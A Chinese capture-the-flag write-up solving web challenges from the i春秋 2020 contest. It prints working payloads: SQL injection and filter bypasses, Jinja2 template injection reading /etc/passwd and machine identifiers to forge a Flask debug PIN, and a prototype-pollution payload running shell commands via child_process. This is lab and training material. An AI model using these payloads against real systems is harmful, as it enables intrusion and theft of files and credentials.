i春秋 2020新春战“疫”大赛(web部分)

i春秋 2020新春战“疫”大赛(web部分)_第1张图片



ezupload

上传一句话,蚁剑直连,bash直接cat /flag,说没权限折腾了下Linux提权,大马提权。
payload:
cd /
cat /readflag
: (



简单的招聘系统

i春秋 2020新春战“疫”大赛(web部分)_第2张图片
payload admin' or 1#
进入admin,成功访问招聘界面blank page界面
key处存在sql注入
i春秋 2020新春战“疫”大赛(web部分)_第3张图片
有5个字段,显位在2
i春秋 2020新春战“疫”大赛(web部分)_第4张图片
可以猜测后端查询语句可能类似:
select * from user where id='$id'
所以接下来的注入语句
1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5#
在这里插入图片描述

1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag'),3,4,5#
在这里插入图片描述
1'union select 1,(select flaaag from flag),3,4,5#
i春秋 2020新春战“疫”大赛(web部分)_第5张图片



盲注

fuzz一下,发现是
过滤了= select < >的盲注
两种payload:
if((substr((fl4g),%s,1) regexp “^%s”)
ascii(mid(fl4g,{},1)) in ({})

blacklist

看大佬的wp,handler代替被过滤的select
payload: 在这里插入代码片?inject=1’;handler FlagHere open as a;handler a read first;
https://blog.csdn.net/chasingin/article/details/104473304/

flaskapp

查看提示界面源码
i春秋 2020新春战“疫”大赛(web部分)_第6张图片
参考文章:Flask debug pin安全问题

解密时提交错误的字符串发现有debug界面,修改需要我们输入pin码
在这里插入图片描述
flask读取文件的payload:
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}

加密界面加密,再decode出现
在这里插入图片描述
获取machine-id:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/proc/self/cgroup').read()}}
a14b5c675a13d08ace26df66d2305f96e1596317a34c8c2df215b1b5e6aee532 

获取Mac地址:

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/sys/class/net/eth0/address').read()}}

得到:
02:42:ac:12:00:06
十进制:2485377957897
19418889118999059
app.py的绝对路径可以在debug看到
在这里插入图片描述

ps:

可以用ssit读取文件
{% for c in [].class.base.subclasses() %}{% if c.name==‘catch_warnings’ %}{{ c.init.globals[‘builtins’].open(‘filename’, ‘r’).read() }}{% endif %}{% endfor %}

读不出来!!


https://xz.aliyun.com/t/2553
套用文中exp:
i春秋 2020新春战“疫”大赛(web部分)_第7张图片
最后:
i春秋 2020新春战“疫”大赛(web部分)_第8张图片



ezexpress

0x00 知识点
javascript大小写特性绕过+原型链污染
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

0x01
于注册的用户名都会被转换成大写,并且不能有admin,但要upper后要=ADMIN
利用js特性:

"ı".toUpperCase() == 'I'

成功注册

然后就要用原型链污染了
payload:

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"cat /flag > /app/public/flag\"');//"}}

出现success弹窗
去访问info:
/flag就被写入了/app/public/flag,也就是web目录/flag,自动下载文件flag.txt



ezthinking

知识点:thinkphp6.0任意文件操作漏洞
参考文章:https://paper.seebug.org/1114/

你可能感兴趣的:(短篇)